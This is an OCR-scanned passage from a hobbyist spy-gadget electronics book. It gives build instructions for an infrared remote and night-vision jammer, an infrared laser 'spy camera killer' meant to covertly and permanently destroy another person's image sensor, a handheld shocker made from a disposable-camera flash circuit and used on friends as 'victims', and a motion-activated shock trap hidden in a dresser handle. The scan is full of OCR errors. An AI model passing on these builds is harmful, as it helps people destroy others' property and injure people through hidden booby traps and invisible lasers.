then  placed  in  a small  plastic  box  with  the  battery 
and  LEDs  and  an  on/off  switch.  If  you  plan  on 
using  a board*mounted  variable  resistor  like  ( did. 
then  you  will  either  have  to  tune  the  unit  before 
mounting  it  in  the  box,  make  sure  it  can  be 
adjusted  with  a screwdriver  later,  because  getting 
the  frequency  as  close  to  40  kHz  as  possible  will 
greatly  improve  the  range  of  the  unit. 

Figure  13-10  shows  a completed  circuit  board, 
and  the  infrared  LEDs  chosen  for  the  final  design. 
Notice  my  variable  resistor  mounted  to  the  board. 

If  1 built  this  project  again.  1 would  place  the 
variable  resistor  outside  the  box  with  a knob  for 
One  tuning,  as  the  unit  needs  the  odd  adjustment  as 
the  battery  gets  weaker  due  to  fluency  drift  of 
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(he  555  timer.  If  you  have  an  EPROM 
programmer,  you  could  write  a simple  40  kHz 
pulse  generator  and  then  drive  (he  output  transistor 
with  one  of  the  microcontroller  pins  for  total 
stability.  This  simple  circuit,  however,  does  work 
great  for  many  hours  on  a single  9-volt  battery 
once  adjusted  properly. 

Once  the  unit  is  built,  aim  the  LEDs  at  your 
television  set  and  turn  on  (be  power  switch.  Now 
cry  to  change  (he  channel  on  your  television  with 
its  remote  control,  most  likely  you  will  be  able  to 
adhis  point.  The  Jammer  needs  to  be  tuned  to 
match  the  frequency  of  the  original  remote,  so  sun 
at  one  end  of  (he  variable  resistor  and  turn  it  a liule 
bit  at  a time  until  the  television  fails  to  respond  to 
the  remote  control.  Once  you  find  (he  magic  spot, 
it  can  be  tweaked  ever  so  slightly  to  give  the  best 
range  possible.  Once  tuned,  no  remote  control 
placed  anywhere  in  (he  room  should  function 
properly,  as  the  jammer  will  turn  its  sigrtal  to 
garbage. 

In  my  final  design.  I found  two  LEDs  to  give  the 
optimal  range,  but  this  could  easily  be  increased  by 
using  several  driver  transistors  and  more  LEDs  at 
the  expense  of  battery  run  time.  As  shown  in 
Figure  13-11.  using  two  940  nm  LEDs  and  a single 
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9-voll  banciy.  I can  switch  on  the  unit,  and  it  will 
bully  all  remote  controls  in  the  room  for  hours  at 
a time,  or  until  1 can’t  sund  holding  my  laughter 
back  anymore.  Of  course,  most  of  your  regular 
**vkiims'*  will  know  that  you  are  capable  of 
making  something  like  this,  so  you  will  have  to 
find  fresh  minds  to  play  with. 

Besides  making  your  ^ends  crazy,  the  little 
device  does  have  some  practical  use  as  a 
countermeasure  against  Infrared  spy  devices  such 
as  laser  bugs  or  light  modulated  audio  bugs.  Just 
place  the  unit  in  the  center  of  (he  room  and  it  will 
stop  any  usable  infrared  signal  from  leaving  the 
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area  similarly  as  it  blocked  the  television  remote 
entering  the  receiver  in  any  legible  format. 
The  infrared  jammer  can  also  be  used  Co  blind 
night  vision  devices  if  you  suspect  one  might  be 
used  against  you.  Just  place  the  unit  in  an  open 
window  with  the  LEDs  aimed  towards  the  suspect 
area,  and  anyone  peering  at  you  with  a night 
visiOD  system  will  get  a surprise — a giant  ball  of 
ultra  bright  ligbi  that  looks  1»kp  a supernova  to  the 
sensitive  night  vision  optics.  Of  course,  if 
blinding  spy  cameras  and  night  vision  systems  is 
your  real  goal,  then  dig  right  into  the  next 
section. 
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There  are  times  when  you  get  the  creepy  feeling 
diat  someone  may  be  pointing  socne  type  of  night 
vision  system  or  spy  camera  at  your  window  in  the 
middle  of  the  night,  and  although  your  non- 
technical friends  may  think  you  ore  cruy,  we  both 
know  the  reality  is  that  it  is  not  only  possible,  but 
very  probable.  The  previous  project,  the  infmd 
jammer,  is  an  elective  way  to  swamp  out  night 
vision  devices,  making  it  impossible  to  peer 
through  your  window;  but  you  may  actually  know 
where  the  target  spy  camera  is  located,  and  want  to 
do  more  than  just  temporarily  block  (he  offending 
unit.  The  spy  camera  killer  will  not  only  allow  you 
to  target  the  offending  camera  with  pinpoint 
accuracy,  but  it  can  also  permanently  disable  the 
imaging  device  if  it  was  pointed  directly  at  you. 
The  unit  pulls  off  this  search-and-destroy  mission 
by  first  allowing  you  to  target  the  offending 
camera  using  a visible  red  laser,  then  once  lined  up 
you  switch  on  the  invisible  in^ed  laser  beam, 
effectively  slow  cooking  the  image  sensor  in  the 
target  device,  causing  it  to  fail  permoneotly.  For 
situations  where  you  just  want  the  target  to  know 
you  know,  then  (he  visible  laser  would  probably  be 


enough,  and  would  certainly  temporarily  bind  the 
imaging  sensor  in  the  target  equipment.  Although 
both  lasers  are  at  power  level  considered  safe  for 
pointing  devices,  they  would  be  hell  on  a sensitive 
imaging  device  such  a a night  vision  scope,  low 
lux  camera,  or  even  a basic  digital  camera  with  a 
telephoto  lens.  The  visible  red  laser,  which  is  just  a 
garden  variety  laser  pointer,  would  make  the  target 
camera  bloom  like  ii  was  witnessing  the  birth  of 
the  universe,  and  if  it  were  exposed  to  (he  infrared 
laser  for  any  length  of  lime,  would  most  certainly 
suffer  permanent  If  not  instant  damage.  The  benefit 
of  (he  infrared  laser  is  that  you  can  permanently 
disable  the  offender's  spy  camera  without  him  or 
her  even  realizing  i(  until  its  far  too  late.  And.  even 
if  the  equipment  is  somehow  immune  to  damage 
from  your  infrared  laser,  (he  offender  certainly 
won't  be  able  to  get  anything  other  than  a blast  of 
hot  white  light  from  your  window  on  a video 
recorder,  which  is  something  (hey  might  not  know 
until  he  or  she  tries  to  pi  ay  it  back. 

For  diis  project  you  will  need  two  lasers  with  a 
class  III  rating,  which  means  that  the  lasers  will 
not  produce  more  than  5 mW  of  output  power. 
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Powei  levels  higher  ihao  5 mW  will  be  dangerous 
to  your  eyes,  especially  when  using  (he  invisible 
laser,  and  even  at  low  power  levels,  you  should  noc 
allow  the  beam  to  come  into  contact  with  anyone’s 
eyes.  One  laser  .should  be  a typical  visible  laser 
pen  pointer  running  on  its  own  batteries,  and  the 
other  needs  to  be  an  infrared  module,  preferably 
with  an  adjustable  lens.  These  laser  diode  modules 
are  basically  the  same  as  laser  pointers,  but  with 
higher  quality  optics,  power  regulation,  and  will 
operate  &om  a 5 -volt  source.  The  laser  module 
1 use  is  a 5 mW  808  nm  5-volt  unit  with  an 
adju.^table  lens,  and  os  you  can  see  in  Rgure  13’lZ. 
it  is  very  small  in  comparison  to  the  visible  red 
laser  pointer.  In  addition  to  the  two  lasers,  you  will 
only  need  a box  to  mount  the  hardware,  which 
includes  the  laser  pointer,  an  on/off  switch,  and 
batteries  to  power  the  inftared  laser  module. 

As  you  can  see  in  Figure  13-12.  the  little 
infrared  module  is  sira[^)ed  directly  to  the  visible 
laser  pointer  so  that  they  both  peunt  in  the  exact 
same  place,  give  or  take  a few  milliineters.  One  or 
two  tight  plastic  tie  wraps  will  secure  (he  two  pons 
together  with  decent  accuracy  up  to  a few  thousand 
feet.  The  visible  laser  pointer  is  pressed  through  a 
snug  fitting  hole  cut  in  the  cover  of  the  plastic 
enclosure  so  that  it  is  held  firmly  in  place  with  its 
push-button  switch  mounted  on  the  outside  of  the 
box.  Since  we  are  only  using  the  visible  laser  for 
targeting,  there  is  no  need  to  connect  iuo  a larger 
battery  .source  or  a better  switch.  The  infrared 
laser,  on  the  other  hand,  does  need  a power  supply 
and  an  on/o0  switch.  It  is  very  important  to  match 
the  power  source  to  your  laser  module,  or  you  will 
be  dfty  bucks  in  the  hole  and  end  up  with  a dead 
laser  pretty  fast.  Even  1-voU  too  much  could 
damage  the  module  depending  on  how  much  abuse 
the  regulator  can  handle. 

My  module  calls  for  5-volts  DC.  so  a 9-volt 
battery  connected  through  a typical  7805  regulator 
did  the  job  perfectly.  There  is  do  need  for  a circuit 
diagram;  you  just  connect  (he  positive  wire  from 
the  battery  to  Che  switch  and  then  to  the  Input  on 
the  regulator,  the  negative  wire  on  both  the  laser 


Figure  13-12  The  infrared  laser  module  is  sirapped  to 
the  visible  red  laser  poinser. 


module  and  battery  connect  to  the  ground  terminal 
on  (1m  regulator,  then  the  output  terminal  on  the 
regulator  connects  to  the  positive  wire  on  the  laser 
module.  When  the  switch  is  on.  you  have  light, 
well,  at  least  you  think  you  do.  There  is  no  way  to 
sec  if  the  infrared  laser  is  working,  so  il  will  have 
to  be  viewed  and  checked  for  lens  alignment  white 
looking  at  its  output  on  your  wall  with  a video 
camera  (video  cameras  can  see  infrared  light).  Be 
careful  not  to  get  the  output  from  the  infrared  laser 
module  directly  into  the  camera's  image  sensor  or 
your  camera  will  end  up  in  the  same  garbage  bin 
as  the  target  camera  you  are  about  to  disable. 

When  you  have  both  lasers  working,  close  up  the 
box  and  mount  it  to  some  type  of  tripod  as  shown 
in  Figure  13-13.  as  it  would  be  impossible  to  larget 
a camera  from  any  real  distance  by  holding  the 
box  in  your  hand  and  attempting  to  aim  il. 

Since  the  destruction  of  the  target  spy  camera 
may  be  a process  that  could  take  several  minutes, 
you  will  definitely  need  that  tripod.  For  very  long 
distance  camera  busting,  you  may  need  to  do  your 
targeting  by  viewing  the  red  spot  through  a pair  of 
binoculars,  and  at  that  type  of  distance,  the  tripod 
will  be  (oueby  while  aligning.  *nie  effective 
camera  killing  range  of  this  unit  will  be  farther 
than  you  can  see  with  a pair  of  4Qx  binoculars,  so 
the  key  xeally  is  in  the  targeting  process.  Another 
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method  of  largeiing  without  the  need  of  binoculars 
or  even  the  red  la^ec  is  to  use  a sensitive  black  and 
white  video  camera  connected  Co  a gun  sight  lo 
just  see  where  the  actual  infrared  beam  i$  going. 
Take  a look  at  the  remote  control  sniper  project  m 


FI  sure  19-I3  The  spy  camera  kiUer  is  moimied  on  a 
tripod  for  preoter  accuracy. 


Section  14  for  more  ideas.  1 found  this  simple 
setup  to  be  adequate  for  the  amount  it  has  been 
used.  I mean,  really,  how  often  does  the  offender 
try  a second  time  to  spy  on  you  after  you  bum  a 
hole  through  the  image  sensor  in  iheii  10,000 
dollar  night  vision  camera?  Figure  13-14  gives  you 
a good  example  of  what  a typical  digital  camera 
would  see  if  it  were  pointed  at  your  window,  even 
in  full  daylight;  the  laser  swamps  out  any  visible 
image  from  your  window  with  a bright  white  ball 
of  pixels. 

Another  good  thing  about  using  the  laser  to 
wash  out  the  offending  image  sensor  is  that  no 
damage  will  occur  to  any  device  other  than  the 
one  you  are  directly  aimed  at,  and  the  only 
window  that  will  be  blinded  from  view  is  yours, 
as  is  shown  in  Figure  13'14:  a simple  one-shot 
photo  attempt  at  the  window  with  the  camera 
killer  installed  and  running.  This  eerie  ghosting  of 
only  your  window  will  send  a clear  message  to 
your  enemies,  that  you  are  far  more  technical 
than  can  ever  hope  to  be  with  their  off-the-shelf 
spy  equipment— you  are  a true  hardware  hacker, 
so  they  had  better  run  and  hide  before  you  press 
another  button  on  some  evil  black  box,  like  the 
ones  presented  in  the  next  few  sections  of  this 
book. 


Figure  13-lM  What  art  you  looking  at?  Nothing  afier  f rum  on  my  spy  camera  kiUer! 
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When  an  your  coumemieasures  fail  (unlikely),  you 
may  need  to  confroac  the  target  directly  in  a bid  for 
technical  superiority.  OK.  maybe  it's  not  like  that 
at  all.  and  you  just  want  to  emit  a hanniess  shock 
to  your  buddy  who’s  banging  out  in  your  fawxite 
chair.  Either  way.  this  little  hack  is  just  (he  thing 
for  you.  Although  this  simple  device  is  nowhere 
near  the  output  level  of  a real  laser  gun  as  used  by 
law  enforcement,  it  is  sdll  enough  to  make  the 
unprepared  recipient  jump  out  of  their  shoes,  and 
make  you  think  twice  about  testing  it  out  on 
yourself  again.  Also,  this  shocking  device  does  not 
throw  skin  piercing  darts  like  a real  laser  gun,  so 
no  permanent  damage  will  occur  in  the  target, 
although  the  operator  may  put  themselves  in 
danger  by  annoying  the  wrong  penon  with  this 
device,  so  be  wary  who  you  choose  to  test  this 
device  on!  The  unit  can  deliver  about  a thousand 
volts  running  from  a single  1.5'voli  battery.  This 
mokes  portobility  and  concealment  a real  snap.  The 
unit  also  requiren  no  extra  pans  other  than  a plostic 
co.se  to  put  the  guts  into,  and  what  you  can  salvage 
from  a throw-away  disposable  camera  with  a flush. 
The  make  and  model  of  the  disposable  camera  is 
not  important,  just  make  sure  it  has  o flash  built 
into  it  os  this  is  what  we  need  to  make  our  shocker 
circuit  from.  A camera  Hash  works  by  charging  a 
high  voltage  pulse  capacitor  through  a high  voltage 
inverter.  Once  the  voluge  is  high  enough,  a flasher 
circuit  indicates  this  to  the  user  via  a Hashing  red 
LED  or  small  neon  lamp.  When  (he  user  presses 
the  trigger  on  the  camera,  all  of  the  capacitor 
voltage  is  thrown  across  a xenon  flash  lube,  which 
is  triggered  by  yet  another  stepped-up  pulse  across 
a high  voltage  transformer.  While  all  of  this  may 
sound  like  a bunch  of  nerd  jaigon.  it  is  surprising 
how  few  parts  are  needed  to  create  such  a flash 
circuit,  and  how  easy  it  will  be  to  alter  it  into  our 
evil  shocking  device.  Let's  begin  by  snapping  the 
plastic  covers  away  from  the  lovely  innards  of  our 


disposable  camera.  As  shown  in  Figure  13-15, 
there  are  indeed  user  serviceable  pans  inside  that 
five  dollar  wonder,  enough  to  make  our  shocker 
and  have  a few  good  bits  left  over  for  some  other 
evil  contrapdtm. 

Toss  away  all  the  plastic  bits  that  fall  out,  and 
the  film  roll,  which  hopefully  doesn't  contain  your 
iHtKhcr's  wedding  photos.  These  pens  are  not 
needed.  What  we  want  here  is  the  battery  (it  will 
soil  be  good  after  the  camera  is  used),  and  the 
main  circuit  board.  Let  me  warn  you  right  here 
before  you  dig  right  in.  Do  not  get  your  fingers 
into  ihe  leads  of  the  photo  flash  capacitor,  or  you 
will  be  digging  your  bead  out  of  the  ceiling  when 
you  Hy  out  of  your  seat.  If  you  have  no  clue  what  I 
am  talking  about,  remove  the  circuit  board  wearing 
work  gloves — trust  me.  The  photo  Dash  capacitor 
will  mainiain  a charge  for  a long  time,  and  even 
days  after  the  last  phmo  was  taken  it  may  still  have 
a few  hundred  angry  volts  ready  to  find  (heir  way 
to  your  nervous  system.  If  you  do  not  know  what 


Figure  13-15  Remove  the  front  and  rear  covers  to 
expose  the  circuit  board. 
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FlQure  I3-)6  The  disposoble  camera  circuii  board 
tviih  ihe/iash  capetcitor  sliU  cortnecletL 


the  photo  flash  capacitor  looks  like,  read  this  entire 
section  before  you  gut  the  cajnera.  This  will  be 
your  last  wamiug. 

As  shown  in  Figure  13*16  the  circuit  board  will 
come  free  from  the  rest  of  the  camera  as  one 
sparsely  populated  board  with  only  a few 
components.  It's  a truly  amazing  device 
considering  what  it  really  does  in  order  to  charge 
the  capacitor,  alert  the  user  and  trigger  the  flash 
tube.  The  photo  flash  capacitor  is  going  to  be  the 
round  cylinder  about  half  the  size  of  the  AA 
battery  labeled,  you  guessed  it.  photo  flash.  You 
will  want  to  short  the  two  leads  out  to  drain  the 
high  voltage  using  a screwdriver  or  some  bit  of 
metal.  Do  not  use  your  favoKie  screwdriver,  and 
close  your  eyes  when  you  cross  the  leads;  if  there 
is  a charge,  there  will  be  sparks,  beautiful  sparks. 
The  capacitor  is  able  to  store  a dangerous  level  of 
current  and  voltage,  which  is  more  than  enough  to 
make  the  unit  hazardous,  and  we  will  not  be  using 
it  in  the  shocking  device,  so  cut  it  from  the  circuii 
board  and  add  it  to  your  parts  box  for  some  other 
device. 

No.  we  are  not  *Vimping  out"  by  removing  the 
flash  capacitor.  It’s  just  that  we  want  to  press  a 
button  to  deliver  an  instant  shock  to  the  iaigec  and 
the  photo  flash  capacitor  will  not  allow  this,  as  it 
takes  several  seconds  to  charge  it  up  to  any  serious 
voltage  level.  This  high  voltage  is  available  from 
ihc  charging  circuit,  and  we  do  not  need  the 
capacitor  to  harvest  the  power  for  our  own  use. 


In  {acu  without  the  capacitor  connected,  there  is 
almost  three  dmes  the  voltage  available  at  the 
points  where  the  capacitor  was  once  connected. 
OK,  if  this  is  really  the  case  then  what  is  the  point 
of  the  capacittK,  you  ask?  The  amount  of  amperage 
that  the  camera  flash  charging  circuit  can  deliver  is 
miniscule,  and  although  the  voltage  is  plenty  high, 
there  Just  isn't  enough  power  to  make  the  xenon 
flash  rube  pop.  The  capacitor  is  capable  of  storing 
a large  voltage  and  decent  amount  of  amperage, 
more  than  enough  to  set  off  the  flash  tube,  but  it  has 
to  collect  it  slowly  the  charging  circuit,  which 
is  why  ii  takp.<  several  sec<xids  to  charge  between 
flashes.  Tbt  charging  cimuit  minus  the  capacitor  con 
deliver  about  a thousand  volts  from  the  1 .5>volt 
banery  at  very  low  amperage,  and  although  it  isn't 
at  any  level  dangerous  to  a healthy  person,  it  sure 
hurtsl  The  output  from  this  shocker  would  be 
comparable  to  a thousand  strong  carpet  shocks 
occurring  in  the  span  of  just  one  second — yikes! 

Oh.  and  now  that  the  flash  capacitor  is  not  in  the 
circuit  anymore,  you  can  take  off  the  gloves. 

The  shock  device  really  needs  no  other  major 
modincaiion  at  this  point,  just  solder  a pair  of 
wires  where  the  photo  flash  capacitor  used  to  be 
and  run  them  to  your  output  terminals,  a pair  of 
bolls  in  my  case.  The  battery  can  be  held  in  place 
by  using  a plastic  battery  holder  with  the  wires 
soldered  to  the  points  that  originally  held  the 
battery  in  the  camera  case,  and  you  will  also  need 
a trigger,  some  simple  pushbutton  switch.  The 
insides  of  my  final  device  are  shown  in 
Figure  1 3*  17. 

The  wires  on  the  trigger  switch  need  to  connect 
to  (be  point  on  the  camera  circuit  board  that  used 
to  connect  to  the  Uule  bubble  switch  that  was  held 
In  place  by  the  tape  or  camera  case.  Just  solder  a 
wire  in  each  side  of  the  terminal  to  close  the  gap, 
as  this  is  how  the  bubble  switch  worked.  Make 
sure  (hat  your  banery  polarity  is  correct,  and  (hat 
there  are  no  shorts  in  your  wires  before  you  pul  the 
case  together,  or  your  shock  machine  will  become 
a smoke  machine.  You  could  also  remove  the  flash 
tube  if  you  wanted  to.  but  it  really  doesn't  matter 
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Although  the  shocking  device  is  really  do(  that 
iarge  physically,  you  might  have  nodced  how  few 
pails  there  really  were  on  that  2-inch  square  circuit 
board  pulled  from  the  disposable  camera.  It  would 


probably  surprise  you  to  fmd  out  you  actually  only 
need  four  of  the  10  or  so  components  on  the 
board — a transistor,  a transformer,  a resistor,  and  a 
diode.  Yes.  you  could  actually  build  the  shocker  so 
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FlQura  13-17  Tht  disposabte  canum  circuil  board 
*vith  iheJJash  capaciwr  sUU  cortneatd. 

because  it  will  never  fire  without  the  capacilor. 
Testing  the  shocker  is  a very  simple  but  not  so 
painless  process.  Place  your  lingers  across  the 
output  terminals  and  press  the  trigger.  As  you  will 
soon  see,  the  little  1.5'Voh  battery  becomes  more 
like  un  angry  demon  when  powering  this  circuit  If 
your  shocker  has  a healthy  battery,  and  was  wired 
up  correctly,  I doubt  you  will  be  testing  it  for  a 
second  time,  The  completed  unit  as  shown  in 
Figure  13- IS  does  seem  to  look  a bit  intimidating. 
That  may  only  be  true  because  1 now  have  a 
built-in  fear  response  from  way  too  many  self-tests 
when  1 see  a photo  of  it. 

There  you  have  It.  a disposable  camera  becomes 
j high  voltage  countermeasures  device.  Who 
would  have  thunk  it?  If  you  have  some  twisted 
resistance  to  electrical  pain,  then  feel  free  to  try 


Rguro  13-16  TV  computed  shocker,  ready  to  release 
a storm  of  elecTwns. 

two  AA  baneries  to  double  the  output  power  to 
2000  volts. « if  you  are  riding  off  the  rails  on  a 
crazy  tnun.  go  ahead  and  install  a Iresh  9- volt 
alkaline  battery  and  sec  if  you  can  lake  a hit 
wiihoui  causing  instant  tears  to  roll  down  your 
pain-stricken  face.  I have  tested  these  little 
transistors  up  to  about  1 2- volts,  and  they  seem  to 
hold  out  fine.  Some  can  take  12-volts  or  more,  but 
all  of  them  could  handle  9-vo)ts.  At  9-volts,  the 
output  from  this  little  shocker  is  truly  painful;  in 
fact  if  you  place  the  terminals  on  a fresh  piece  of 
bread,  or  slightly  moist  bit  of  paper,  it  will  start  to 
bum.  How  do  I know  this?  I would  highly 
recommend  not  more  than  3-volts  into  the  unit,  but 
feel  free  to  experiment  like  a mad  scientist.  1 do 
follow  one  rule  though — if  1 can’t  handle  the  shock 
al  least  three  times,  then  the  thing  is  loo  powerful 
to  use  on  anyone  else.  How  much  voltage  can  you 
handle? 
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1.5V 
AA  cell 


Figure  13*19  A disposaU^  cam  fro  flash  char^iog  circmt.  aka  “sho^r." 


small  that  it  would  fit  into  a pen  lid  with  room  to 
spare.  First,  let's  examine  the  actual  schematic  for 
a typical  disposable  camera  flash  charging  circuit. 
As  you  see  in  Rgure  13*  f 9,  there  are  only  four 
components  that  make  up  the  simple  high  voltage 
inverter:  a transistor,  a high  voltage  siep*up 
transformer,  one  resistor,  and  one  diode.  Have  a 
look  at  the  schematic  and  you  will  notice  ii  ts 
nothing  more  than  a simple  one*iransisior 
oscillator  that  feeds  a high  voltage  siep*up 
transformer.  The  diode  Is  only  used  to  rectify  the 
AC  from  the  transformer  to  DC,  and  it  could  even 
be  omitted  for  a shocking  device. 

1 like  to  take  things  as  ^ as  possible,  and 
looking  at  these  few  components,  I decided  that 
the  best  way  to  make  the  unit  as  small  as  possible 
would  be  to  just  solder  the  component  leads 
together  without  any  circuit  board  at  all.  With  only 
four  tiny  semiconductors,  (here  really  is  no  need 
for  a circuit  board.  The  transformer  is  large  enough 
to  form  a base  for  all  of  the  other  components,  so  1 
just  soldered  them  to  the  pins  on  the  transfmmer. 
The  final  product  was  so  dny  that  it  would  have 


easily  fitted  inside  a marker  lid  and  there  would 
still  be  room  for  a few  button  batteries:  this  would 
be  one  small  zapper  indeed.  Unfortunately,  the 
button  cells  gave  nothing  more  than  a barely 
noticeable  tickle,  as  they  could  not  source  the 
required  cuirent  to  nm  the  oscillator.  The  smallest 
battery  (hat  would  actually  cause  a good  shock  was 
a U*volt  AAA  cell — not  so  bad.  The  final  micro 
shocker  is  shown  in  Figure  13*20.  and  it  looks  like 
a few  ants  could  walk  away  with  it.  The  three 
wires  are  for  power,  ground,  and  high  voltage 
output. 

With  the  unit  down  to  such  a miniscule  size,  it 
was  hard  to  find  a suitable  housing  to  avoid 
wasting  space,  but  after  digging  through  a few  junk 
boxes,  an  old  key  chain  flashlight  that  ran  off  an 
AAA  battery  was  found.  There  was  plenty  of  room 
in  the  flashlight  head  for  the  shocker,  a pushbutton 
trigger,  and  the  Two  bolls  that  held  the  output 
terminals;  in  fact  there  was  enough  room  for  two 
shocker  circuits.  Although  I have  not  tried  this  yet. 
it  should  be  possible  to  double  the  output  power  by 
reversing  one  of  the  ou^t  diodes  then  connecting 
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Has  your  personal  space  been  invaded  by  an 
unwanted  snoop?  You  know  that  the  box  of 
pen>onal  items  that  you  keep  in  your  dresser  bas 
been  moved  slightly,  but  you  just  can’t  prove  the 
identity  of  the  snoop.  Even  locks  aren't  fail  safe  to 
keep  your  secrets  away  Croin  prying  eyes,  but  what 
can  you  do?  One  quick  shot  of  2000  volts  to  the 
fingers  will  send  a clear  message  to  your  intruders 


that  your  technical  powers  reach  far  and 
wide,  even  when  you  have  (eft  the  building, 
so  ^y  out. 

To  make  your  shocking  circuit  do  your 
invesUgailve  work  for  you.  (he  output  leads  will 
have  to  be  hidden  in  some  place  that  will  allow 
both  of  (hem  to  come  into  contact  with  the 
intrud^’s  hand  or  fingers.  The  two  leads  must 


the  output  from  each  shock  circuit  to  (he  opposing 
output  terminals.  What  was  the  point  in  making  it 
twice  as  strong,  really?  Everyone  who  tried  my 
'‘handy  dandy  pulse  checker*'  jumped  a few  feet  in 
(he  air  as  soon  os  1 hit  (he  button  anyhow.  It  was 
fun  to  round  up  a few  people  to  form  a circle  by 
holding  fingers  and  pressing  the  trigger  until  only 
two  '*high  voltage  gladiators"  remained.  It  was  a 
battle  to  see  who  could  take  the  most  voltage. 
Most  who  felt  the  lightning  ride  through  their 
bodies  were  amazed  at  how  small  the  little 
flashlight  shocker  really  was.  considering  its 
admirable  shocking  capabilities.  The  AAA  battery 
powered  mini  shocker  is  shown  in  Figure  13-21. 


One  thing  to  watch  out  for  when  building  a 
shocking  device  so  small  is  reaching  for  it  while  it 
is  in  your  pocket.  It’s  all  too  easy  to  push  that 
uigger  when  your  hands  or  fingers  are  across  those 
output  terminals.  U seems  to  hun  a lot  more  when 
you  don't  expect  iu  and  you  will  leam  quickly 
about  the  benefits  of  adding  a small  safety  switch 
to  such  a device.  My  litUe  flashlight  had  a simple 
safely  switch;  1 just  twisted  (he  head  until  the 
battery  was  disconnected  from  the  loading  spring. 
There  are  many  uses  for  such  a small  electronic 
warrior  such  as  (his  little  shocker,  and  let’s  Hnd  a 
way  to  make  the  liitle  stinger  do  our  dirty  work 
automatically,  so  read  on. 


Fi9urE  13*31  This  JhshUghi  will  Ugfu  you  up  without 
giving  off  any  Hghs  at  all! 


Fi  g u re  13*30  Perhaps  the  world's  smallest  shocking 
device. 


Motion  Activated  Shocker 


Project  8 4^Mo  tlon  Activated  Shocker 


Figure  13*32  High  votiagt  output  urminab  built 
into  a dnsser  drawer  handle. 


never  short  together,  as  this  will  creaie  no  voltage 
at  all  and  will  most  likely  bum  out  the  oscillator 
transistor  in  a second  or  two.  so  insulators  must  be 
used  on  metal  surfaces.  I will  show  you  how  to 
make  the  shocker  respond  to  an  tuning  dresser 
drawer,  as  this  is  a common  piece  of  personal 
furniture  that  is  often  invaded  by  snoops.  As  you 
can  see  in  Figure  I3'22.  the  high  voltage  output 
terminals  are  hidden  on  (he  inside  of  the  wooden 
handle  to  conform  to  the  shape  of  the  wood.  These 
terminals  are  just  two  pieces  of  paperclip  wire  bent 
to  fit  the  general  shape  of  the  handle,  then  fed 
through  two  small  holes  drilled  in  the  wood. 

The  wooden  handle  is  easy  to  work  with,  since  it 
is  a natural  insulator,  and  (here  will  be  no  chance 
of  the  wood  conducting  the  voltage.  If  this  were  a 
steel  handle,  the  same  basic  principle  would  still 
work,  but  you  would  have  to  run  an  insulated  wire 
through  the  handle,  then  place  a bit  of  tape  or 
plastic  down  before  laying  the  bare  wire  along  the 
inside  of  the  grip  area.  Standard  house  wire  works 
great  for  this,  since  the  Insulation  is  nice  and 
heavy,  and  the  stiff  copper  will  bold  its  basic 
shape.  Once  you  have  your  two  high  voltage 
terminals  in  place,  test  the  resistance  across  the 
wires  with  an  ohmmeter  to  moke  sure  there  is  no 
short,  as  you  wouldn't  want  to  make  a firecracker 
out  of  your  shocking  device.  Once  the  delivery 
system  is  in  place,  you  will  need  to  flod  sonte  type 


Figure  13-23  A mercury  switch  will  set  off  the 
shocker  when  U is  moved. 


of  sensitive  motion  switch  that  will  respond  to  the 
opening  of  the  drawer.  1 used  a mercury  switch 
salvaged  from  an  old  manual  thermostat  control. 
This  is  a glass  tube  with  a ball  of  liquid  mercury 
rolling  around  to  (orm  a contact.  Besides  mercury 
switches,  there  are  also  ball  switches  which  work 
on  the  same  pKnciple.  but  have  an  iron  ball  that 
can  roll  back  and  forth  onto  a set  of  contacts. 
Mercury  switches  cost  more  to  manufacture  and 
are  more  sensitive  to  slight  movements,  but  for  a 
dresser  drawer,  both  types  would  work  fine. 

Figure  13*23  shows  the  micro  shocker  device 
connected  to  two  AA  batteries  through  the  mercury 
switch  to  deliver  a hearty  2000-volt  rap  to  the 
drawer  handle  when  it  is  opened.  You  do  not  have 
to  use  the  micro  sized  version  of  the  shocker  for 
(his  projecu  as  the  disposable  camera  hack  version 
would  work  just  as  well.  If  you  really  wanted  to. 
the  hand-held  shocker  could  be  set  up  to  work  as 
a dual  purpose  shocker  for  this  configuration  os 
well  by  simply  creating  a remote  trigger  using  a 
two-conductor  plug  then  running  that  to  the 
mercury  switch.  For  connection  to  the  handle,  just 
snap  a pair  of  alUgaior  slips  to  the  hand-held 
output  terminals,  and  it  would  work  perfectly  in 
this  mode  as  well. 

The  key  to  placing  the  motion  switch  for  best 
results  is  to  make  sure  it  is  set  at  an  angle  that  is  as 
close  to  on  as  you  can  get;  this  way,  only  the 
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Figure  13-2M  This  is  not  a situation  you  wont  to  find 
yourself  in  often. 


:^Ughtes(  movement  will  trigger  the  shock  device. 

If  you  are  using  a ball  switch,  make  sure  ii  does 
not  get  stuck  in  the  on  posiiioa  once  it  is  triggered, 
or  you  will  be  replacing  your  batteries  every  time 
the  unit  is  activated.  It  only  takes  a fraction  of  a 
second  for  the  intruder's  brain  to  register  the 
extremely  unpleasant  flow  of  electrons  and 
motivate  that  offending  hand  to  lei  go  of  the 
handle.  The  unfortunate  thing  about  setting  up  the 


motion  activated  Stocker,  is  that  you  are  going  to 
have  to  test  it  out  a few  times  to  get  it  working 
perfectly.  Sure,  you  could  remove  one  of  the 
batteries,  lowering  the  output  to  a meager  1000- volts 
or  so.  but  remember  the  golden  rule:  if  you  can't 
take  il.  then  it’s  coo  much.  Bgure  1 3-24  shows  the 
motion  activated  shock  drawer  only  seconds  before 
delivering  the  pain  of  a thousand  bee  stings  to  the 
poor  finger?  gripping  the  wooden  handle — yep, 
it's  workii^!  Notice  the  safety  switch  installed  in 
the  cabinei  with  the  shock  circuit,  which  is  always  a 
good  addition  to  such  a device. 

Now  that  you  have  explored  the  realm  of  the 
high  voltage  councenneasures  device,  you  may 
want  to  lake  it  further,  and  design  your  own  high 
voltage  circuiL  There  are  many  real  world 
examples  using  high  voltage  for  non'lethal 
weapons,  such  as  laser  guns  used  by  law 
enforcement,  electric  fence  chargers,  and  even  the 
EMP  (elcciro  magnetic  pube)  cannon.  These 
devices  are  much  more  dangerous  than  our  little 
tMzzcr.  but  (hey  can  also  be  manufactured  from 
basic  electronic  components.  In  the  next  section, 
we  will  dive  into  the  world  of  loser  spy  gadgets, 
from  lasemoculars  to  perimeter  alarms. 
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Section  Fourteen 


Laser  Spy  Gadgets 


Project  85 — Lasernoculars 


There  are  times  when  you  might  want  the  abilicy  to 
accurately  pinpoint  a target  from  a distance  of 
several  hundred  feet  or  more  using  a laser  beam. 
Such  reasons  might  include:  the  ability  to  remotely 
control  some  type  of  light  activated  switch; 
pointing  out  an  exact  area  with  a long'disiance 
video  camera;  setting  up  a la.ser  microi^one  on 
some  distant  window;  or  intimidating  a "hostile 
